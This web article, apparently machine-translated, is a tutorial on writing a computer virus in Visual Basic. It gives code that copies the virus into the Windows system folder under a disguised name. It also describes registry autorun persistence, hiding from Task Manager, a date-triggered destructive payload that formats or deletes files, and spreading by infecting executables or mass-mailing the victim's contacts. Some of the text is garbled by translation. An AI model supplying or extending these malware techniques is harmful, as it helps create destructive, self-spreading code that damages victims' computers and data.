How to write virus

  
with Visual Basic I believe that everyone in the computer industry hates computer viruses. She has brought us a lot of troubles and losses. Can you know the methods and processes of writing viruses? Here I only use VB as an example to unveil her veil.
When you write a virus with VB, you need to consider the following points:
* Infected host
First, after the infected file is run, you must first determine whether the host is infected with a virus, that is, whether the virus body file exists or not. Then copy the virus body to the specified location (for example, copy the virus file to c:windowssystem), which can be implemented by filecopy statement; if the virus has infected the host, the judgment is ended.
For example, judge whether C:windowssystemKiller.exe exists, and if so, exit the judgment. If not, prove that the machine is not infected, and immediately copy the virus file.
The virus source file name is game.exe
Declaration section:
""Defining FileExists% function
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
Code section:
""Judge whether the file exists
success% = FileExists%("C:windowssystemKiller.exe" )
If success% = False Then ""Copy the virus to the computer if it does not exist
FileCopy "game.exe", "C:windowssystemKiller.exe"
... "" ; Modify the registry and add it to the RUN. (Omit some codes)
End If
* Start the virus
At the same time as the virus infects the host, add itself to the registry during startup, which is done simultaneously with copying the virus to the host. The registry is no longer modified after infection. This can be done by programming and calling API functions on the WIN registry so that the virus automatically starts each time you start your computer. (Please refer to other materials for specific writing methods)
* Task Manager
The virus itself is listed in the task manager list and can be programmed. It can be implemented with the code App.TaskVisible = false; then it is implemented by calling the Win API function, which will not be introduced here.






























< Time, Date, or other methods can also be used as a judgment of the condition of the virus. Example:
if day(date)=16 then ""16 is the date of the attack, the integer value is 1-31
... ""kill ****** * Destructive code that runs when dates match (format, delete specified file types, send packets to Dussel network, etc., omit some code)
end if
* Virus destructive
Write This part of the code determines the strength of the virus. Light can make the system resources quickly reduce until the crash (requires you to understand the principle of a worm), that is, the effect of booting and dying; you can also add hard disk bomb code, system background delete files. Heavy can make the computer completely paralyzed (not to mention, you can refer to other viruses related information).
* The propagation of viruses
The principle is simple, that is, to merge itself with other executable files, that is, two files into one file. It can also be spread by E-Mail by virus reading the mailing list of the infected host and sending the E-Mail with the virus attachment to everyone in the list (this requires you to understand VB network programming).
After reading this article, I believe that you have a preliminary understanding of the virus writing ideas. If you are a VB enthusiast, you can already write a very simple virus, but if you are proficient in VB, please do not write After spreading her thoughts, because spreading her influence will change your destiny (it will be caught by the police).

Copyright © Windows knowledge All Rights Reserved